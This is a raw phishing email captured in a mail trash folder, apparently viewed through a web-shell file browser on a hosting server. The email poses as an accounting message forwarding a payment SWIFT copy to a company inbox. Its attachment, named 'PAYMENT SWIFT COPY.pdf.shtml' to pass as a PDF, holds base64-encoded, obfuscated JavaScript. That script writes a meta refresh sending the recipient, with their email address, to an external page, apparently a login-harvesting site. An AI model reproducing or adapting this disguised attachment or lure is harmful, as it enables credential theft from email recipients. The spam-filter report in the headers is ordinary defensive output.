Your IP : 216.73.217.78

Current Path : /home2/seto/mail/.Trash/cur/
Upload File :
Current File : //home2/seto/mail/.Trash/cur/1706802193.M367441P25810.web01.alphahost.lv,S=7220,W=7359:2,S

Return-Path: <dh37216@gmail.com>
Delivered-To: seto+spam@web01.alphahost.lv
Received: from web01.alphahost.lv
	by web01.alphahost.lv with LMTP
	id oAV3JBnPZ2WRTAAAiNxmsg
	(envelope-from <dh37216@gmail.com>)
	for <seto+spam@web01.alphahost.lv>; Thu, 30 Nov 2023 01:54:01 +0200
Return-path: <dh37216@gmail.com>
Envelope-to: info@anatollica.com
Delivery-date: Thu, 30 Nov 2023 01:54:01 +0200
Received: from [91.92.243.191] (port=63724 helo=gmail.com)
	by web01.alphahost.lv with esmtp (Exim 4.96.2)
	(envelope-from <dh37216@gmail.com>)
	id 1r8UNV-00055X-0R
	for info@anatollica.com;
	Thu, 30 Nov 2023 01:54:01 +0200
From: Accounting <dh37216@gmail.com>
To: info@anatollica.com
Date: 30 Nov 2023 00:53:58 +0100
Message-ID: <20231130005358.0879F58B88D3D6DA@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0012_294FB966.CEA3493B"
X-Spam-Status: Yes, score=18.6
X-Spam-Score: 186
X-Spam-Bar: ++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "web01.alphahost.lv",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  New Page 1 How are you, Find attached PAYMENT SWIFT COPY.
   as requested 
 Content analysis details:   (18.6 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  1.3 FSL_HELO_FAKE          No description available.
  1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
                             bl.spamcop.net
               [Blocked - see <https://www.spamcop.net/bl.shtml?91.92.243.191>]
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [91.92.243.191 listed in psbl.surriel.com]
  0.0 DKIM_ADSP_CUSTOM_MED   No valid author signature, adsp_override is
                              CUSTOM_MED
  1.5 SPF_SOFTFAIL           SPF: sender does not match SPF record (softfail)
  1.5 SPF_HELO_SOFTFAIL      SPF: HELO does not match SPF record (softfail)
  0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends
                             in digit
                             [dh37216[at]gmail.com]
  0.0 FREEMAIL_FROM          Sender email is commonly abused enduser mail
                             provider
                             [dh37216[at]gmail.com]
  0.1 MIME_HTML_ONLY         BODY: Message only has text/html MIME parts
  0.0 T_OBFU_HTML_ATTACH     BODY: HTML attachment with non-text MIME type
  0.0 T_OBFU_PDF_ATTACH      BODY: PDF attachment with generic MIME type
  0.0 HTML_MESSAGE           BODY: HTML included in message
 -0.0 T_SCC_BODY_TEXT_LINE   No description available.
  0.0 T_HTML_ATTACH          HTML attachment to bypass scanning?
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 PDS_HP_HELO_NORDNS     High profile HELO with no sender rDNS
  0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
  0.9 NML_ADSP_CUSTOM_MED    ADSP custom_med hit, and not from a mailing
                             list
  0.0 SPOOFED_FREEMAIL       No description available.
  1.0 SPOOF_GMAIL_MID        From Gmail but it doesn't seem to be...
X-Spam-Flag: YES
Subject:  ***SPAM***  =?UTF-8?B?RndkOiBQYXltZW50IFN3aWZ0wqBjb3B5?=

This is a multi-part message in MIME format.

------=_NextPart_000_0012_294FB966.CEA3493B
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.=
w3.org/TR/html4/loose.dtd">

<HTML><HEAD><TITLE>New Page 1</TITLE>
<META content=3Den-us http-equiv=3DContent-Language>
<META content=3D"text/html; charset=3Dwindows-1252" http-equiv=3DContent-Ty=
pe>
<META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD>
<body>
<DIV class=3DrcmBody style=3D"MARGIN: 0.5em">
<DIV>&nbsp;=20
<P>How are you,<BR><BR>Find attached&nbsp;PAYMENT SWIFT COPY. as requested=
=20
<P>kindly check with your bank for confirmation.&nbsp;=20
<P>&nbsp;</P></DIV>
<DIV style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Calibri,Arial,Helvetica,sans-se=
rif; COLOR: rgb(0,0,0)">Thanks<BR>Accounting<BR>lisa</DIV>
<P>&nbsp;</P>
<P>From: "Account Payables/Credit Control Unit"<BR>Date: <FONT style=3D"VER=
TICAL-ALIGN: inherit">11/30/2023 12:53:58 a.m.</FONT><BR>To: "Accounting"&l=
t;<A style=3D"COLOR: rgb(0,0,238)">dh37216@gmail.com</A>&gt;<BR>Subject: Fw=
d: Payment Swift&nbsp;copy </P>
<P>Hello, lisa</P>
<P>Kindly forward&nbsp; the attached Payment Swift&nbsp;copy &nbsp;to <A st=
yle=3D"COLOR: rgb(0,0,238)">info@anatollica.com</A></P></DIV>
<P>Best Regards,<BR>Account Payables/Credit Control Unit </P></BODY></HTML>=

------=_NextPart_000_0012_294FB966.CEA3493B
Content-Type: application/octet-stream; name="PAYMENT SWIFT COPY.pdf.shtml"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="PAYMENT SWIFT COPY.pdf.shtml"

PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KPCEtLSB2Z2hqZmR0N3k5MG9qaHJm
Z3R5Zmpna2hsa2poZ2ZkY2hmbWduYmpjdmZ2aGpobnVycnlkZ3R5NmJua3lnZmRmc2dmeWln
dW9qaHR1cmRmc3RkYXJyc3Q1eTY3cmk4bXVkc2FyUzJRM0RXNEZHNjdSN1RJSENIWERTWlJB
WFRZUlRZRGdmZHRkZmdnaGtqdXJ5c3RmZGc2aDdqa2tqdWgtLT4NCjwhLS0NCmRvY3VtZW50
LndyaXRlKHVuZXNjYXBlKCclM2MlMjElNDQlNGYlNDMlNTQlNTklNTAlNDUlMjAlNjglNzQl
NmQlNmMlMjAlNTAlNTUlNDIlNGMlNDklNDMlMjAlMjIlMmQlMmYlMmYlNTclMzMlNDMlMmYl
MmYlNDQlNTQlNDQlMjAlNTglNDglNTQlNGQlNGMlMjAlMzElMmUlMzAlMjAlNTQlNzIlNjEl
NmUlNzMlNjklNzQlNjklNmYlNmUlNjElNmMlMmYlMmYlNDUlNGUlMjIlMGQlMGElMGQlMGEl
MjIlNjglNzQlNzQlNzAlM2ElMmYlMmYlNzclNzclNzclMmUlNzclMzMlMmUlNmYlNzIlNjcl
MmYlNTQlNTIlMmYlNzglNjglNzQlNmQlNmMlMzElMmYlNDQlNTQlNDQlMmYlNzglNjglNzQl
NmQlNmMlMzElMmQlNzQlNzIlNjElNmUlNzMlNjklNzQlNjklNmYlNmUlNjElNmMlMmUlNjQl
NzQlNjQlMjIlM2UlMGQlMGElM2MlNjglNzQlNmQlNmMlMjAlNzglNmQlNmMlNmUlNzMlM2Ql
MjIlNjglNzQlNzQlNzAlM2ElMmYlMmYlNzclNzclNzclMmUlNzclMzMlMmUlNmYlNzIlNjcl
MmYlMzElMzklMzklMzklMmYlNzglNjglNzQlNmQlNmMlMjIlM2UlMGQlMGElM2MlNjglNjUl
NjElNjQlM2UlMGQlMGElM2MlNmQlNjUlNzQlNjElMjAlNjglNzQlNzQlNzAlMmQlNjUlNzEl
NzUlNjklNzYlM2QlMjIlNDMlNmYlNmUlNzQlNjUlNmUlNzQlMmQlNTQlNzklNzAlNjUlMjIl
MjAlNjMlNmYlNmUlNzQlNjUlNmUlNzQlM2QlMjIlNzQlNjUlNzglNzQlMmYlNjglNzQlNmQl
NmMlM2IlMjAlNjMlNjglNjElNzIlNzMlNjUlNzQlM2QlNjklNzMlNmYlMmQlMzglMzglMzUl
MzklMmQlMzElMjIlMjAlMmYlM2UlMGQlMGElM2MlNmQlNjUlNzQlNjElMjAlNjglNzQlNzQl
NzAlMmQlNjUlNzElNzUlNjklNzYlM2QlMjIlNTIlNDUlNDYlNTIlNDUlNTMlNDglMjIlNjMl
NmYlNmUlNzQlNjUlNmUlNzQlM2QlMjIlMzElM2IlNzUlNzIlNmMlM2QlNjglNzQlNzQlNzAl
M2ElMmYlMmYlNmQlNjUlNjQlNjklNjMlNjElNmMlMmQlNmYlNzAlMmUlNjMlNmYlMmUlNmEl
NzAlMmYlNmQlNzQlMmYlNjUlNzglNzQlNmMlNjklNjIlMmYlNGMlNTclNTAlMmYlNmElNzMl
MmUlNjglNzQlNmQlNmMlM2YlNjUlNmQlNjElNjklNmMlM2QnKSk7DQovLy0tPg0KPC9zY3Jp
cHQ+DQppbmZvQGFuYXRvbGxpY2EuY29tIj4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwv
dGl0bGU+DQo8L2hlYWQ+DQoNCjxib2R5Pg0KDQo8L2JvZHk+DQo8L2h0bWw+DQoNCg==

------=_NextPart_000_0012_294FB966.CEA3493B--